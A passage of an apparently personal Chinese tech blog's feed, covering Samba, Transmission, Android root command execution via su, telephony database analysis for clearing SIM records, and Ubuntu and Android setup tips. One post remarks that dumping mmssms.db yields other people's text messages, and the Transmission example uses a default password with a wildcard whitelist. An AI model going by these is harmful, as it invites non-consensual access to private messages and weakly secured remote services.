&lt;/pre&gt;&lt;/div&gt;</content><category term="November"></category><category term="Linux"></category></entry><entry><title>Windows通过Samba访问Ubuntu文件</title><link href="https://blog.chenjia.me/articles/151008-235526.html" rel="alternate"></link><published>2015-10-08T23:55:26+08:00</published><updated>2015-10-08T23:55:27+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-10-08:/articles/151008-235526.html</id><summary type="html">&lt;h2&gt;安装过程&lt;/h2&gt;
&lt;p&gt;两步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;sudo apt-get install …&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;h2&gt;安装过程&lt;/h2&gt;
&lt;p&gt;两步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;sudo apt-get install samba&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo smbpasswd -a &amp;lt;user_name&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;然后，在Ubuntu图形界面文件浏览器右键你想要共享的文件夹，选择属性，第一是更改权限，让对应用户可写，第二是在共享里面开启共享，选择对应的共享方式&lt;/p&gt;
&lt;p&gt;最后，在windows我的电脑中添加一个网络位置，其中注意，ip前应该用&lt;code&gt;\\&lt;/code&gt;来表示是samba协议，登录的时候使用&lt;code&gt;\username&lt;/code&gt;来去掉默认登录域&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;end&lt;/p&gt;</content><category term="October"></category><category term="Linux"></category></entry><entry><title>Transmission For Ubuntu Server</title><link href="https://blog.chenjia.me/articles/151008-114243.html" rel="alternate"></link><published>2015-10-08T11:42:43+08:00</published><updated>2015-10-08T11:42:45+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-10-08:/articles/151008-114243.html</id><summary type="html">&lt;h2&gt;Transmission-daemon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;sudo apt-get install transmission-daemon …&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;h2&gt;Transmission-daemon&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;sudo apt-get install transmission-daemon&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用ROOT用户修改配置文件，文件位置&lt;code&gt;/etc/transmission-daemon/settings.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;修改以下配置使之远程可用：&lt;/p&gt;
&lt;p&gt;"rpc-enabled": true,&lt;/p&gt;
&lt;p&gt;"rpc-password": "password",&lt;/p&gt;
&lt;p&gt;"rpc-port": 9091,&lt;/p&gt;
&lt;p&gt;"rpc-username": "transmission",&lt;/p&gt;
&lt;p&gt;"rpc-whitelist": "127.0.0.1,&lt;em&gt;.&lt;/em&gt;.&lt;em&gt;.&lt;/em&gt;",&lt;/p&gt;
&lt;p&gt;"rpc-whitelist-enabled": true&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;root用户使用该命令重载设置&lt;code&gt;invoke-rc.d transmission-daemon reload&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;打开浏览器对应ip：端口，然后点击左下角进行详细配置。当然也可以在setting.json中进行修改。&lt;/li&gt;
&lt;/ol&gt;</content><category term="Linux"></category><category term="October"></category></entry><entry><title>SIM信息清理查看工具（重点在ROOT权限的利用）</title><link href="https://blog.chenjia.me/articles/151004-131118.html" rel="alternate"></link><published>2015-10-04T13:11:18+08:00</published><updated>2015-10-04T13:11:20+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-10-04:/articles/151004-131118.html</id><summary type="html">&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;通过查看&lt;code&gt;/data/data/com …&lt;/code&gt;&lt;/p&gt;</summary><content type="html">&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;通过查看&lt;code&gt;/data/data/com.android.providers.telephony/databases/telephony.db&lt;/code&gt;这个数据库的信息来获取，需要ROOT权限，当然可以不需要ROOT权限进行内容查看，通过内容提供者来实现。&lt;/p&gt;
&lt;h1&gt;ROOT权限的利用&lt;/h1&gt;
&lt;p&gt;原以为网络上会有很多ROOT权限的利用代码，结果发现就那么几个，而且并不是很适用，因此做了一些总结。&lt;/p&gt;
&lt;h2&gt;通过调用su命令来获取ROOT权限&lt;/h2&gt;
&lt;p&gt;参考了一下网络上的代码进行改进的，并且対输出流的数据进行字符串编码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;RootCommand&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Process&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DataOutputStream&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;//DataInputStream is = null;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;su&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;DataOutputStream&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOutputStream&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
        &lt;span class="c1"&gt;//is = new DataInputStream(process.getInputStream());&lt;/span&gt;
        &lt;span class="n"&gt;BufferedReader&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;BufferedReader&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;InputStreamReader&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInputStream&lt;/span&gt;&lt;span class="o"&gt;()));&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;writeBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;writeBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;exit\n&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;readLine&lt;/span&gt;&lt;span class="o"&gt;())!=&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
            &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;is out---&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2134&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\n&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;waitFor&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exitValue&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;is out---&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;d&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;*** DEBUG ***&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;ROOT REE&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;finally&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;destroy&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;d&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;*** DEBUG ***&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;Root SUC-e &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;){&lt;/span&gt;
        &lt;span class="c1"&gt;//tv_out.setText(string);&lt;/span&gt;
        &lt;span class="c1"&gt;//tv_out.append(&amp;quot;Success!/执行成功！&amp;quot;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;//tv_out.setText(&amp;quot;Faild,No ROOT?/失败，请先给root权限? &amp;quot;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;blockquote&gt;
&lt;p&gt;这里说一些坑，希望大家可以注意到：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;注意input流和output流的顺序，和我们平时使用的是相反的&lt;/li&gt;
&lt;li&gt;input流可以用&lt;code&gt;BufferedReader&lt;/code&gt;来处理，这样可以解决中文乱码的错误&lt;/li&gt;
&lt;li&gt;process的处理目前我测试的只有在终端窗口的input功能，例如进入sqlite后可以执行一条select语句，但是并不能继续输入指令，比如&lt;code&gt;.exit&lt;/code&gt;这样的指令让他退出，有更好的方法可以进行交流，建议大家都用单行指令进行。比如&lt;code&gt;"sqlite3 /data/data/com.android.providers.telephony/databases/telephony.db 'select * from siminfo;' " + "\n"&lt;/code&gt;这样的命令。&lt;/li&gt;
&lt;li&gt;每行结束都要有&lt;code&gt;"\n"&lt;/code&gt;进行输入回车&lt;/li&gt;
&lt;li&gt;大坑：请注意try，catch的路径以及process的返回值，这里涉及到很多部分，比如 用户没有root走的路线，用户有root权限但是没有给程序授权走的路线等等&lt;/li&gt;
&lt;li&gt;返回值处理要得当，以及输入部分要多次测试，不然很有可能会导致自己程序FC。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;重启命令ROOT执行&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Runtime.getRuntime().exec(new String[]{&amp;quot;/system/bin/su&amp;quot;,&amp;quot;-c&amp;quot;,&amp;quot;reboot now&amp;quot;});
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;同样这块通过这样的runtime直接执行命令，这里一般是单行命令的执行，数组是用来输入空格的0.0~&lt;/p&gt;
&lt;h1&gt;程序部分&lt;/h1&gt;
&lt;p&gt;程序源代码：&lt;a href="https://github.com/fashioncj/SimClearTool/"&gt;https://github.com/fashioncj/SimClearTool/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;程序下载地址：&lt;a href="https://github.com/fashioncj/SimClearTool/blob/master/app-release-unaligned.apk?raw=true"&gt;https://github.com/fashioncj/SimClearTool/blob/master/app-release-unaligned.apk?raw=true&lt;/a&gt;&lt;/p&gt;</content><category term="Android"></category><category term="October"></category></entry><entry><title>Android Telephony Providers数据库分析</title><link href="https://blog.chenjia.me/articles/151004-121731.html" rel="alternate"></link><published>2015-10-04T12:17:31+08:00</published><updated>2015-10-04T12:17:32+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-10-04:/articles/151004-121731.html</id><summary type="html">&lt;h1&gt;目标&lt;/h1&gt;
&lt;p&gt;由于在New Moto G LTE …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;目标&lt;/h1&gt;
&lt;p&gt;由于在New Moto G LTE 2015 版本的CM12.1存在 在使用两个SIM卡后再次插入第三张SIM卡导致&lt;code&gt;com.android.phone&lt;/code&gt;程序崩溃（FC），错误是数组下标越界。&lt;/p&gt;
&lt;p&gt;在不想恢复出厂设置的情况下，我就顺带研究了一套的phone相关的Applicaion，最后将目标锁定在了&lt;code&gt;com.android.providers.telephony&lt;/code&gt;这个应用。这个程序是系统的通信内容的核心，不能通过设置-应用中清理该程序数据，所以就通过ADB把其数据dump出来进行查看。&lt;/p&gt;
&lt;h1&gt;数据库分析&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;blacklist.db&lt;/li&gt;
&lt;li&gt;HbpcdLookup.db&lt;/li&gt;
&lt;li&gt;mmssms.db&lt;/li&gt;
&lt;li&gt;telephony.db&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;blacklist.db&lt;/h2&gt;
&lt;p&gt;通过通讯录添加的黑名单数据将会保存在这里&lt;/p&gt;
&lt;h2&gt;HbpcdLookup.db&lt;/h2&gt;
&lt;p&gt;基础功能的数据存储，查看后发现有大量mcc数据，包括全球各个国家的数据以及时区，国家区号，MCC编号等&lt;/p&gt;
&lt;h2&gt;mmssms.db&lt;/h2&gt;
&lt;p&gt;短信数据库，内容不容多说，dump it你就可以获取别人的信息的。&lt;/p&gt;
&lt;h2&gt;telephony.db&lt;/h2&gt;
&lt;p&gt;这个就是本文的关键，这个里面存储着全球运营商的数据，以及你手机SIM卡相关的数据。&lt;/p&gt;
&lt;p&gt;其中，&lt;code&gt;carriers&lt;/code&gt;表存储的是全球运营商的数据，包括他们的一些基础设置，比如APN,MMS的接收信息，这也是为神马你插入一张手机卡后Android可以自动配置，能够和运营商交互等的数据基础&lt;/p&gt;
&lt;p&gt;&lt;code&gt;siminfo&lt;/code&gt;就是保存所有插入的SIM卡的信息，其建表参数为下表所示：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;CREATE TABLE siminfo(
    _id INTEGER PRIMARY KEY AUTOINCREMENT,
    icc_id TEXT NOT NULL,
    sim_id INTEGER DEFAULT -1,
    display_name TEXT,
    carrier_name TEXT,
    name_source INTEGER DEFAULT 0,
    color INTEGER DEFAULT 0,
    number TEXT,
    display_number_format INTEGER NOT NULL DEFAULT 1,
    data_roaming INTEGER DEFAULT 0,
    mcc INTEGER DEFAULT 0,
    mnc INTEGER DEFAULT 0,
    sub_state INTEGER DEFAULT 1,
    network_mode INTEGER DEFAULT -1,
    user_network_mode INTEGER DEFAULT -1)
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;所以我们如果要修复SIM卡相关的信息，我们只要清除这个表然后重启就好了。&lt;/p&gt;
&lt;p&gt;表&lt;code&gt;sqlite_sequence&lt;/code&gt;保存的siminfo的数值，如果清除siminfo的信息依然报错可以尝试清理这个值。&lt;/p&gt;
&lt;h1&gt;自动清理工具&lt;/h1&gt;
&lt;p&gt;根据这些信息我开发了一个工具用来自动清理数据，下载地址将在下篇文章放出。&lt;/p&gt;
&lt;p&gt;文章地址：
&lt;a href="http://blog.chenjia.me/articles/151004-121731.html"&gt;http://blog.chenjia.me/articles/151004-121731.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href="https://github.com/fashioncj/SimClearTool/blob/master/app-release-unaligned.apk?raw=true"&gt;https://github.com/fashioncj/SimClearTool/blob/master/app-release-unaligned.apk?raw=true&lt;/a&gt;&lt;/p&gt;</content><category term="Android"></category><category term="October"></category></entry><entry><title>一个好看的Ubuntu主题</title><link href="https://blog.chenjia.me/articles/150919-212854.html" rel="alternate"></link><published>2015-09-19T21:28:54+08:00</published><updated>2015-12-09T21:54:43+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-09-19:/articles/150919-212854.html</id><summary type="html">&lt;h2&gt;开源地址&lt;/h2&gt;
&lt;p&gt;https://github.com/anmoljagetia …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;开源地址&lt;/h2&gt;
&lt;p&gt;https://github.com/anmoljagetia/Flatabulous&lt;/p&gt;
&lt;p&gt;使用说明请看readme&lt;/p&gt;
&lt;p&gt;Tips:CP到theme目录的时候，记得看清楚权限的问题。&lt;/p&gt;
&lt;p&gt;Tips2：安装unity-tweak-tool 或者ubuntu-tweak的时候不用root 用户启动，否则要删除用户目录下.cache 中的对应文件，否则会导致无法更换主题&lt;/p&gt;</content><category term="September"></category><category term="Linux"></category></entry><entry><title>导入最新的Volley到Android项目</title><link href="https://blog.chenjia.me/articles/150908-223748.html" rel="alternate"></link><published>2015-09-08T22:37:48+08:00</published><updated>2015-09-08T22:37:50+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-09-08:/articles/150908-223748.html</id><summary type="html">&lt;h1&gt;步骤&lt;/h1&gt;
&lt;p&gt;转自：&lt;a href="http://stackoverflow.com/questions/20059576/import-android-volley-to-android-studio"&gt;http://stackoverflow.com …&lt;/a&gt;&lt;/p&gt;</summary><content type="html">&lt;h1&gt;步骤&lt;/h1&gt;
&lt;p&gt;转自：&lt;a href="http://stackoverflow.com/questions/20059576/import-android-volley-to-android-studio"&gt;http://stackoverflow.com/questions/20059576/import-android-volley-to-android-studio&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;First get latest volley with git.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git clone https://android.googlesource.com/platform/frameworks/volley&lt;/code&gt;
2. In your current project (android studio) click [file] --&amp;gt; [New Module].
3. Now select [Import Existing Project]
4. Now select the directory where you downloaded Volley to.
5. Now Android studio might guide you to do the rest but continue guide to verify that everything works correct
6. Open settings.gradle (find in root) and add (or verify this is included):&lt;/p&gt;
&lt;p&gt;&lt;code&gt;include ':app', ':volley'&lt;/code&gt;
7. Now go to your build.gradle in your project and add the dependency:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;compile project(":volley")&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;相关&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://developer.android.com/training/volley/index.html"&gt;https://developer.android.com/training/volley/index.html&lt;/a&gt;&lt;/p&gt;</content><category term="Android"></category><category term="September"></category></entry><entry><title>Ubuntu 15.04 64/32bit 配置Android 开发环境</title><link href="https://blog.chenjia.me/articles/150813-215344.html" rel="alternate"></link><published>2015-08-13T21:53:44+08:00</published><updated>2015-08-13T21:53:46+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-08-13:/articles/150813-215344.html</id><summary type="html">&lt;h2&gt;手动&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;官网下载Android Studio&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装32位支持&lt;em&gt;很重要 …&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;h2&gt;手动&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;官网下载Android Studio&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装32位支持&lt;em&gt;很重要&lt;/em&gt;
    &amp;gt; 
        sudo apt-get install lib32z1 lib32ncurses5 lib32stdc++6&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;32位添加&lt;code&gt;lib32bz2-1.0&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安装SDK&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;更新SDK&lt;/li&gt;
&lt;li&gt;打开Android Studio，配置SDK目录，Gradle目录&lt;/li&gt;
&lt;li&gt;建立测试工程&lt;/li&gt;
&lt;li&gt;安装genymotion&lt;/li&gt;
&lt;li&gt;安装oracl virtualbox&lt;/li&gt;
&lt;li&gt;建立虚拟机，配置genymotion&lt;/li&gt;
&lt;li&gt;run it&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Android Studio PPA&lt;/h2&gt;
&lt;p&gt;自动安装android studio&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo apt-add-repository ppa:paolorotolo/android-studio
sudo apt-get update
sudo apt-get install android-studio
&lt;/pre&gt;&lt;/div&gt;</content><category term="August"></category><category term="Android"></category><category term="Linux"></category></entry><entry><title>Realvnc 和Ubuntu 15.04 不兼容解决方案</title><link href="https://blog.chenjia.me/articles/150705-154100.html" rel="alternate"></link><published>2015-07-05T15:41:00+08:00</published><updated>2015-07-05T15:41:00+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2015-07-05:/articles/150705-154100.html</id><summary type="html">&lt;p&gt;今天在配置Ubuntu 15.04的时候发现REALVNC 在安装时候会报错。
&lt;img alt="VNCERROR" src="https://i.imgur.com/Cie8H7o.png"&gt;
刚开始我并没有注意到这个错误 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;今天在配置Ubuntu 15.04的时候发现REALVNC 在安装时候会报错。
&lt;img alt="VNCERROR" src="https://i.imgur.com/Cie8H7o.png"&gt;
刚开始我并没有注意到这个错误，结果发现安装后VNC Server不能通过服务启动，然后我自己脑补了一堆解决方案后依旧错误飞起。&lt;/p&gt;
&lt;p&gt;后来我查看了安装报错，发现是有一个文件无法被复制。
然后自己手动也找不到这个文件。&lt;/p&gt;
&lt;p&gt;最后。google一下。。发现了解决方案。果然万事应该GOOGLE IT&lt;/p&gt;
&lt;h1&gt;解决方案&lt;/h1&gt;
&lt;p&gt;在安装前用root用户在&lt;code&gt;/usr/lib/systemd/&lt;/code&gt; 下创建文件夹&lt;code&gt;system&lt;/code&gt;
然后重新安装，解决问题。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;原文：&lt;a href="https://support.realvnc.com/knowledgebase/article/View/511/2/vnc-installer-fails-to-install-daemons-on-certain-linux-distributions"&gt;https://support.realvnc.com/knowledgebase/article/View/511/2/vnc-installer-fails-to-install-daemons-on-certain-linux-distributions&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When running the VNC installer on Linux platforms such as Ubuntu 15.04 and Debian 8, you may see the following errors:&lt;/p&gt;
&lt;p&gt;/usr/bin/vncinitconfig: 1516: /usr/bin/vncinitconfig: cannot create /usr/lib/systemd/system/vncserver-x11-serviced.service.tmp: Directory nonexistent
chmod: cannot access ‘/usr/lib/systemd/system/vncserver-x11-serviced.service.tmp’: No such file or directory 
mv: cannot stat ‘/usr/lib/systemd/system/vncserver-x11-serviced.service.tmp’: No such file or directory&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;Workaround available:&lt;/p&gt;
&lt;p&gt;Create the directory /usr/lib/systemd/system/ and re-run the installer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;开机启动&lt;/h1&gt;
&lt;p&gt;新版本的REAL VNC 使用systemctl来控制
和一般的服务一样。开机启动使用：
